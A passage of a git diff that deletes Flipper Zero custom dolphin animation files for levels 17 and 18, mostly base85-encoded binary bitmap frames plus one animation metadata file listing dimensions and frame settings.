z%Kpj+um{E-4sj6p@&WPhssFeBN*(|o9rzf0ei1&9dO!7Wc=(`V`0xMdY!UcCascu56AbeA1xoy9`pangm?a`ALt(Y|DZg7{|LG| zFaH1`dH7)Y;-Js20uTeHOI`vWSUxDAA(#KZ|4@8Hz(b$@fBwwqlY<6d`2&yverUl4 z4L|xVjv;_UP9g&ym_DHNL(uBM^(%muhK>)Y6hJ;P^eKQE zk%BgjfARm@o1Oy*1`IuRK5%=|s6Vg$PKE#bgWEp-L_UKA L`G4o&@!o?_K@1_* diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_4.bm deleted file mode 100644 index cb2a388b1c4cc1db8f93d1dd82711caba475c27c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 570 zcmV-A0>%9S05$^ufE$1RrStxv#{d^!|I_Q*LG}Ls{`~bIbo>6`@#WD0^Yx|w|Ghq- zIxqE6So-XGk^Oi7`B|qZA6ozYR};Jk)?fdvk#j-yL;u?8U%-7uf7y5jv>iA62lBtw z`2*%Z5&uvBUC?~V@Pom!Z%%>$c$@?tG@kdo9~cdXtb`H25OqviX9-#;LL6U)*Mh#<9}@V41N}Gui=+QffKorOJ^4BXKQVX&yZ;EFG>8DwXoOq;0*D9a zF9PF#;20mkIq&dH20Q;Gzyss|7La{|<52wv;z_i|J}>ae~`sEK=+}lNALf_ zRs-<`2am7+fQ)GY@1hT$t24j{H2wkn|Ng_{9m<2-KZ>jQ&c9#!lbR7I1D^hW@^&l(03Ser{(#9Rq{M2#bN%o4!1R^CAQ0d=lT-jWSrmed I2R*1Y08-Z@D*ylh diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_5.bm deleted file mode 100644 index f064c9178920bf6fb976a562a48359cb502a788a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 566 zcmV-60?GXW05SsqfE$1RrStxv#{d^!|I_Q*LG}Ir{`~bIeSN{>%c29Pt4k1#Pf`wx z{Zv*yyB?@tUH|@9X~+lGzyDQ)??LsK|Lb&Kzukw08 z`H#eZ)Bn*vr1($g{>lA12m#`75O~si-tc^2HXo1vAKnj`Rdez`Q~AKY&05`Gd%%-{}kxKRI{+d|?y@kpLP^0IPrCQ2_kK;uvrK z0|EF4J^l#-*MH(zAbfx7*bg`U0U-Q`=0%qN6UXQeefvCN_v{rAUmN&5OHck6kAxom z`n-Y2zy3)Y55$#n zKCt-K1Mz|fh_dVejp5B0gJ#OK!cLU^g;E&;3)uO#n<^H=MSWgKk7!Th6Ac2 zC4c1XSR^6iR}1CzocIAA&c@B7etLg+9Fa2)=x$B0NEz;nuj EP`9HZOaK4? diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_6.bm deleted file mode 100644 index c2d7439d6156a6972128bd71d09ebd42839a8a31..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 570 zcmV-A0>%9S05$^ufFjTD`hzF`-~ZC-;QIg%&yOhw=l|EF1<$|k0~#MBA3vH;|I=&f z1ET-8`+x0I4N-qOw5>=!v;X~EOV|&sKmRpE?t|(t|C_{h!1|*9sroLUI&bg~_J8@k zCss@OKcM%4^CzHxKlGq|MB<;{{zu+~5Ch>SpYQ&^o)4G}_+CH$zr4K=tLVIc{(iVV zC?xU^h`KlN1NebQ$M*-k{s~AAmzT~Ddj19heFBf9KN0x^06t$4{8!*GfcbfTVE2c@ zC|AHJ{=@S?7mmOF9*_LK1wj7k|K#ZZ2F(Jb(U@snG|%2l;>X|KJgw z06pZbk@^4fQI0A(;tG-bi3YWhFFq7LKd|`5bb$7&z#k&(93?)Y4`?os9v}gb$LNFR z#6Sh&02&oPP|a!;C_ZqQ{Ujc+ctnVLAOX_r^g#8L;DzZGkBitGHDLMB>-|yki-bOz zc>katmG~qhBo8@%{rA|MqNkA^uhNyufX9|Mgf7WFJ{@c-4Kt`icMbcn{z{sK4sGS6mL8{6qU+@N5C| zUx9xo|K8|6V)+mC{zLxngX0GT{D1jf?|42T8v@|P{o(ncR|DhU=ZE6|2%mmHqxT2K z{sDOX0Y{Jb2fY6!08STNKNa`}0DeFJ7=B=|5czdM@gI;#0p;-r#J&Ltz5z$W`v<)~ zl1~(1{ZY{$fIz>y|NpEX6!;|r`6ow+J|*%92lpqwA4mTm0JMK0dBFU|;S-UQfO&`G0{n;L4FaovArudQJ@@f=gdY1skU!&pM}SrT z&{*Cl25C5`OdVu$r_x>Goc+5CJ_kpTM&;O-H zdI0yOgU9#(z+yQ7_kb!y9y%z-i2U_W=oGOvydk;WDTJ5Q2hT|dob)1552!)7WgAd*&*Wd}|HrZq zoPGoGe}Qh8f&h3NllA|q7wS_1E)5U7#2^DeFCUNof4&ck{7QZOY9h7Z7vT8+{NebY z!Ym(gW`_`FOJ{;>krHV1^lz`$I<_j;3^;J9(cVU{5*qU{H5Rl^Dlr-Kae;R`e5-W z_x6(z2h3grUjIR80QrT$A>Zi?NFOv@6ubVy5PZbo5pVngg0dh3Vxkyf7^s9F5G)6{ zJ~{yW#h_kp+#?0}2R;6WAd7w=6c3<1_wjfZ8vPQYepB-Zi{EGx4}dxI^mr8;{REMC zh4G)DMDOqk2cRDK`}|Xf|Eg32@gJ)2a{u}UNIw*R|L@2Dp+q_k=pc{Z|A?+|f$stT zf6rrrm1+U+NC%#y5+8m32p&Jb{suZ9dig+*;E^DChsL1nX$=WTlK!YYVlaqM7~-+@`rqkT0Qzw2|1@gAA~7T? zSO0+Y&(fd)^xyCAF2#UgB*289-@wT)%Ed6ibNYjq{}X{gHNf;3h&?oM3-Q@_4|mAo`R4yY)*@KB<4*{R<8csE6YJskeis{{lUZhhz_!eIw!jquxRDlYx3d zW1I)eAVcH7pAV)>Q1XFBybq210_Yzf{yZNM_$BA!(;$3n>KqTy6mX&WC!hbK4~%>w z2p=2%37aq~2z-!2ABqG6@C6<~J|OT306csA5PVAF1M%bc`l0!P3&&s2AIuK}K>R`Q z{4)H&A|I(9p+7M=M$`ENfO*03hk!?anOz5bKQv76d|-g+|H9xD@AU%!ADJ8mAOD2F z1M>rrYybENfPQIk9zXsC1pgD~0nfie5<(A%43ZCgpuj(X_{HEd_vH}$3-f@1-{CYL z$UY#wD!u*%Ko8A7frJ0RBwrwWOZW}3kxD%P=ik@*ud#$gI3W1{{5^mC6+_4mdiV%_ zfBFPdpbvQX2!8+lEn|=mc3^|c6Dh!h-wpyF-~S68)C1huAOgYDXh8QA7x(`uhmYeb z<4XJp9M}B-41eGHTs(gH{!kR;HT)1zSE`6eTt8ADXde`0AW@;$r~~GxHWF7KDQ>wSJKmJlBoaJWl+ s4@$fz0rmr)tb!o)lfWS%^aqFmX>_Oo9D3k!0T2NsuoC%uz~j{hpj!+GH2?qr diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt deleted file mode 100644 index 87d8674d3..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 32 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -Active cycles: 0 -Frame rate: 4 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_0.bm deleted file mode 100644 index f9f373c8aa4a072d6b0fff99944fa1907cf41e3a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 690 zcmV;j0!{q^0ImZ6fF=RH22cQJ@C)ESBk&2pKOpc3hxi|GFn>Tn;tsudJaQB8LHxnV zf5V=~@Ci?d6+85>c=G}E=duIGf#(FDfF6^XfIM&j^uQ029T*3YWdNxUfyWt!Q7#?= z2k=H5I38Ee;3RM}2oC^UAhCyo%0L+`2Eu=^7YS@Z=ipcfWN^>|u)y#i2v9tO#Pu6^ zY(Rq`%mauXZ&47A1e!3(5IoDoHW~kep9jD|VF2?@5PWC+4nNL*bP#(EhUf6d@E~`< zagqccHh2Yt;Sa!g&;$=(9Rh{uA&Nl3>%rjAKY;Q7U&-%*2ahlwD{+Ve+5uyr3&`*> z3<5o17J3I@o*;pMzz!sjC;5XPya#31qa|5iM$~4zu^JmXc%}% zU^oD9gT^sFeGoiD;sOzI1Ij;u7n}?pBK3wx!{iSc4*;G;^9PW8P2({Vk^M2#{vae# ziQA`ikZ2EYU2hX9}zNAm}q1K!U7uy{Yv?}q>$oPc=A;2szSz6}6}CrLh&{0EK? z9D+bD5x{w;%74Isz+jgs#sXpwI|G1Y{tJN^cq1|53(;;Sfv`Zl5Z-(b0SO0}^W*vFpMz#el~$%8O7ihj9>~lAbH2|g7UyfU=aW)^FRM{fnhg( z7z_gq0FVR6(dP#U0CCft`cPsJ5eUFB9v|R5q4R(k-7 zIDzXwuwX;O43GoNuu%L2|H0pZ;2EL-obDN4>!XA;{(op{s)NsU{nYOJbWTC3ySD}>4JmcAUEO&!Hvcb z6~RON5F5l20Sq@F0AM%?cqD8E;Yg4@BlsiHU=*VeKNs8{Q~WmUdI0tF xp-urDI}gJS4^Maupzsg$JRUG10+|g4Es?xH0q{{AL)>qIK?qF8;RAJuJV1k)8NUDk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_10.bm deleted file mode 100644 index 778e56e04ca485711cc12e67fc24f3a3cdeb55c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 665 zcmV;K0%rXI0F?s&fFl3=1;{-=!2SR6!TccT1^6A4_yph|koW{Z5Wg_;!QdSLdi+4C zkAT2D0Q@04p9sY-ACDd43)xAHZM#o)F-{4dehH zlNhiQ|A#&gz-|aU|IK5c@D$=T88AG_@BEFc5^1IEJu zp?(Hpb`l7f3?4ih1qb{OAN2kS0|%}EAUuG0|0nRsAU&*f4?;M9m-s?K0pkF(&^?g) z2jNII0DE7kAILoe;0GKaluPCV8-MVWJ`em31sp%2D7ZxN2aXOya8INHIX>VDL>?_6 znLscA^MptE0r4M<1_cZPkUXJ~@c5I;A%P-@Ju!jt7m1)_2KUEL_=xm~1IR!?^8PEy z9x#A;6@(r*d;js+G3oUIeqi&#-T4o~pTHnM^56r<0|D@O0pq{{3IIXrgMjb>gM$1B zh#tH+0q|n-JODl{ZhJIC=LKbG6DFzi@}EnoPPlW6%a^3gYe*x6A8J%Hpn6%@lOx{ zvD?`Ba8JS$73lMZ3Ah1_9)S{p2gm-8C5fF+fOQaf@Wu#6C-Fz1AB)-rKjdOUk;s1+ zl?s3SU@`}f;sgGk1J}-#Hep}JL;eUL0Fq(@7fFl3=1;{-y!2JLZ;2V+u$DALKJ_me#g}VS0ydEY6`GeLb4T$3XNJ$MJuNbOGxCyU;z5`T^iU zf?y;0Krh4b4~Sr3FlZn=e}MA-TmOpTc#a-|KqvVUivUj_1pa?O@B_pgAn}Y(xB~I; zDTjf;0SG+d5%BpB${_I(@dL&gAK(|n9y18U7=F0Gc%RGv5P(3B>x`fA0pckbL?He~ zVF!*n{=Xw2z%U8&C=fiq1;M{xpcDXlz;OP4Ks;ap@sI=80|Pt=Ja~`scbGh|a1eQ6 zKLGJx5Ip!`LGVT7_yG``h#qz_K!Hd517;9CZ14*Q!@mx`F9ZN*@|%Ok0WX8Fh2|gv zPn7=w@q@()V?2ff&1^sT``Dn6C`W?g4>tKn>=pXhKE*&xjL(10i7p%K{Hh z7(FNj@t?p!>ElA21DG->5rI75GB%I$5BR5)L>_+d89~a0|G9(I=%0uW^8auL$N*%1 IJUYxl;Tn;tsudJaQB8LHxnV zf5V=~@Ci?d6+85>c=G}E=duIGf#(FDfF6^XfIM&j^uQ029T*3YWdNxUfyWt!Q7#?= z2k=H5I38Ee;3RM}2oC^UAhCyo%0L+`2Eu=^7YS@Z=ipcfWN^>|u)y#i2v9tO#Pu6^ zY(Rq`%mauXZ&47A1e!3(5IoDoHW~kep9jD|VGsbIkHkK6{s$lDKROHo2oFKf-2NE; z1P=HN6#*Ux|7U<$J`nr|jQ~sn2bYe4Li7;DAasCwaCkHi;5>iV@_5t;LO(1BJb8fe zTZ}>hkSGW|pcXm@q7HZ{h5|4m6nQ`_^bWy1K?4E6M#MsoCI)B7RqykW%P%S}^W*{Ir4SIH$R1c2A0QrE_xT6c2La%8Bk)Va{1`ESdT_{t@Pomy0P=ST zJm_O_Dv#z4ix2^W%Fh6>ct6nZg8-mFA>;$bPXO@1E%0arIVLCJPn`b&~P8{{jO6f?T5*35fjc4grt&E(BrVjK_!%KZ4v%17Lx8A-wn=0um1|=g0n-B2d65 zkT?V=9$)Zywg_Y}AHjrShvV_I3joe90JK%bf(M*`2rn!Ih5--)k2C-GI2IFk;YAJ^ zync^3I6woAoafSm5P*nA0f_Mb0p$;z0LLEP8X!D!A0L=JgMtGd3)FsK@z{U=Lj%Ep z$bvuM5VME!4?Y+@8{`iW`TzLfGEa`+1V4xnIREBThl|7nH^6%P%7(KT> R{}8Y)2p>QB9E1Od2av9LHX;B3 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_13.bm deleted file mode 100644 index afcf299519d018e60d563100168a3e8c583c25ec..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 703 zcmV;w0zmx%0J{SJfFl0@z5^rxQ}_qqACUM5z#ou!2Y?@tI0pb9kQfF7eonyqe8I~X z2akY0pAdRy=^*j(0#F{dc_4g&C^cA&h#o_vz$+377$=w99})Nja2_C(;lLnja!w36 zxL@z!_@@vO2_pm|AOZX|M*o1=Px1od;6g#=Ko5#oaNG|Vc&rehc^n8bHuwi12r>-7 zIDzXwuwX;O43Izog8(cPKLJ1Rci?yk3^1Tz@(-5--yNO=1VkYAneZ_F2p!-UF#-Ba z%Ol_!kB$075eJ=y0b&P?0PIJ>2d4*tK>q{B{Xc?0G7vC%;4Cx_Ks0Kfy%KY%xlf*m-(R`8H8dPBwK@PNcT5xXHh zF_H0jo(Y;Xun?cm9Y5kD%l?lT0YFvc4=>`p!NY0?j{qK6d;ju30G?lg;{b;P(+A_k z1I7R!AOQo*0;n7SJbTCTkOS5Oz~BSN@FF7cgU^QmpmZYgcmO^qVDSQt?AA~Ni37^U zs}rcfzZ?)?!2m*kAyC*L6V!mipl}EfJX7U2z zf#+bj0|%SofN_!MKK}#6elRKo10FsRabOoi|4bAg0Rg`dMhtE+c&-W`;DFu@gA6wy z0AM%?cqD8E;Yg4@BlscMjzvl;;`n{R{(?^ctV{$zo?nnjao9+l7{ENQ;F96M zAZBub#36w3@L$>mfSf>5A~PoKY;Q7PvFoEK|n#}fUwX%0P_Y6 zpr9l2z*y)WgmC{S@Q4JgfFSaKS?C_fIEYk(K!#Wm=K!A%#6BZ|0S(`U0Y{MNY5zcZ zfCrBPgMmm!FA;qZ=s;z#2b?ipAn^$v_)38BkAuo!y&r^qq$Tr$L&4)f42V2o{6cy` z1LkiK;LzHlA3QYw$d4=fJZKmQ2>_rN>H7SE;!hYy0s-I$mLC6zZVdW-4}8~}Mh_?Q5A^PlBF0SG*>FdioYKY$?=0lXmd;FZb`C%^;Zg8;ArNA&?e z3<4qo5_wp`<1oL$?gPR=h&<$Y3kCu&11gLOP$2O~km!66cwjJRfzbjE1NsjY=)ex+ z0fcxY2jYM`%0FNo4+4W=fN{a14^nu*gJZ{l;~=EskAuZfP<#XeJqwsGM4U75c(w{3 z@PW=Cln7uTU&P=hSx6IQ2>}oA9&&sX4Yolchyh3Z4>|rCbHgnVL_y?#A^_v3v+;CLWfn5e4rQLc>tuRFu?!- diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_15.bm deleted file mode 100644 index 93375a7f10a62bb710124041a76d490b244b5136..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 695 zcmV;o0!aM<0J8%BfG2P`nnDEj6hyD)$pgzm}k0cZWpWyI?2LWLRm%w0A`~XCGf#Hxw0p$Smt%x2o z&5Q;C1h50mj9~HjdEk5pV1wtu-;T$i7;teSP3$ucM<3w#AHPxyfG{sYD#0vCzcLFfD*iI7SK96Jy^aQFW6WMk9h_>;&USPUJ9km(@! z!XUu)fY~qr@#lbs5Tz7>@L(KH1b=`+EWreU=zJKwjU-%vc?-(Imk_A`pk=XH7(AqK z35UXe2mEj#F#vfV%5Q+UU^1xzgF}(T4>f4~An?FhZUMy3Ab9XH0D*vxMH)cy^MlI4 zK!A?~8Y3Y95Io=)0O-Ila1#K41>9fuK_&(R9)Vl|f-p`ta{nF%3P`>l69ND6`H%n34*;#V4g9T0e}Q*VDX@04p9sY-ACDd43)xAHZM#o)F-{4dehH zlNhiQ|A#&gz-|aU|IK5c@D$=T88AG_-JZvxu z7vN?mVgd<(f#boTP=COo|4-nb2pByu0RiL#$N4{o1jHV;ItQT~Kg;|g695AUJfIeO z2eKbP{3!+`K_GeGs2|8Z1L6OmNT3H%FOaBh|H4T4Kk|2h1Bf0|{t%!+;sX~634|Uo z$@c(|DIr%T3?5L3{{S{2fq=kRBA69`z#)+E_>;;ZK~NCbLF0@MiQw}B^6(qa9Y5kD z&k+{9cqioZ2aoYyNb!X%L|&MC|MEWok58Zxm@qwXcYZ)TU=#QFx66PJ91I7+;0KQa zKY;KQ2p(8C4*(cAFTgxw0QKR(4}%wx;08nwTO0zwWgqkaI%M>*-~r=*hu=5=^zehm zZ-BVqBD$EBMHN!2|#jOh97~I|x1= R!XOwpK7a!=@WaRA4-hm09#Q}R diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_17.bm deleted file mode 100644 index 8aeb1431e0f0d0030b5fd92433313fc9f553e22c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 706 zcmV;z0zLf!0KNkMfFl3=1;{-y!2JLZ;2V+u$DALKJ_me#g}VS0ydEY6`GeLb4GRXKL{0|)e0SpJN zjsZga48-h50|%D}fk6HP$NhhTZ~^OppwKY@@%~@o7yu}P(#JsbGY9d1h(x{sVF#1~ z??CoL=m&ug3>)DCKa>LeKM=vdW)Lg{ANUV1<-ho@7l^^+kf3^8@4uiXdPJf}cQ&qCQXh;9vwHfc_82 z^$-CML_{$U1V9{A0D2q+jw``JkPvTy1E1lyd?*Y81Qj{)I6wu4-p9;>5Ew8FXMp24 zj^qFP2oxX$KkfMeKw}SW2uQ#A@d9u_WGo3>-R&EpP0;+qVH4}k?VqncN7ci zh{GZfBchqHdMG-X{nkz1)C;r}{pg8LB?NV&?@;Y-*quT5(ytW>F0Bl)aN-F|GRSTO zj2|}O!E4A%z$FTXo2ns(3-u-&yu8YnFvkdhv|8pyyq~CoDpkxA&R2KSX}+20WY(~7 zL@*Nx)4Nj3gEnMtHId<9$Q0?NpX#&6&&j2-pe_Dnwx3lctWA5rJh4Ko@x_ zrNjMJ$Y>5L)^Re|iK@UTIi1&syQVB0%U4fz^^w#0+xQPt5yuJDlYEzVdB0KCEI@0o zGLKZ5MDmqLxu2@wX}wOU;s5#@LuY_)k_8AT|A(}7Z}dFULhF*)->_B4Q+=kNws~&T ztaq=pr|NXs614r2b6}8oPWUaml70ae&W$F6S3OlWZAY5^r&z35lqc?9uzBnhtZc%A z#I1Wf+zz_+-V-DPu_6Od%$Nt;%J}GHJ(`YJf*4Rm6rW2hJ2R2;tR^X%M*c2oHdc|a z+p+d%@OWJkgA~~*04?@i#X843EbT$^x(H0LM#;7o`!gK`*_=WLTW1YwKZXG#zJJ25 z;SBELnq=+zjZ!X5&FjAP15}Ma&ZOk?Ipr>W{A-NclJPOuuoIOG^@ah5kqT>*g68ZM zt5!#*M7q~iVkOwz-jMtz5`Okx{eoFa?e<1vi0O9P{?IU_tg~v*jfkMUpI6yLWsz_F zNMHrhQ8bXX?XbFkJLDOTk95*zfoO^E;~^~^+rfR3EHMRT2?jGS5GGHiBK{$X8Tr$9 cwwx{go9Ms+f<|zUuQ^`{LehO&j(eB>177Jkb^rhX diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_19.bm deleted file mode 100644 index 756d9526758a41735a23d8a77ada94b3f12d03e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 757 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 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_3.bm deleted file mode 100644 index 019df79916c39fbd0c1baab059245c9671c9f395..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 647 zcmV;20(kua0D}VmfG2P`nnDEj6hyD)$pgzm}k0cZWpWyI?2LWLRm%w0A`~XCGf#Hx+0p$Smt%x2o z&5Q;C1h50mj9~HjdEk5pV1wtu-;T$i10gUI*(My0Kf(iW4;%yd4;h&#d=P#Ij4UAb zkiaB=h&Z4@>ZmIP0)hU6qy|3%2e$wqK8SpS@jrqC*)SmSftE&ozajcSCUg(v9)TD? zAU!9*@?469ng$Oq6d*UO@E1L+l<32E*eR3K=}`k@4uk{}=c{e9`3q!%z5z@%{tE{$m0Mm+~HDBzkxO z<%hrbn}Z&o1K$CIu<{**AA~^JFaYuAzttdI7zY!9AK(y(9~2LSUPr(OsJyH&3jkDq z&^X{d0D1Yr zXqB&?|sEfyMv7frcO8gWeLN2ObbS|L_&@ zB*q~SR+ju8aeNT`umHhMmkb_r{uXxz5Hx9UMhV8wU*o{RNf*PyU_bspG5`6&@04p9sY-ACDd43)xAHZM#o)F-{4dehH zlNhiQ|A#&gz-|aU|IK5c@D$=T88AG_@BEFc5^1IEJu zp?)dwBe4JtP+S@X2mQ~8f2Z(3dtd?s$cMl|;|vGAj)CY$55oTl2ebmuK=woE3PK0H z`hom|&?g)W3=F=YF}ME#L*S42Cx`V1jQ_oNL5;wKE)q|a0y#dwLH-{Ski-GQfCro* zG&cj`!+=BZ2b?k=U<8fh;ShlX+Zi9A3kDJYj2qt_KjKeG0*_Gv1IYd+K}WBE9$0(- z@S-v4@IEkienaq`>%a$&1_R(u2p~d44_q7vfD9ZL;2#_~1q0z1k>COGV_k`qf6xQ+ z6VAtg2aWz8eBcAq!Vej~0^@*_!}t*RxIF(r@t@#65cs1!XM+Ue1I9nVh(KVFHE6qu z-aK%5SR2E@;DE(uAOZe2$j~+j7r|&S7~njC#6J))hKhNBkPC<&ZGwmRAb*5w015+u z5e$HSFY@qV!RH^qK*dB75Fq?GBm}~4a1aoQgT*{R0>^J-<-tD)Ojo1M7$)EbFnR<^ z1Ro#zJeDSPJ^|E0F=)X0s9S diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_5.bm 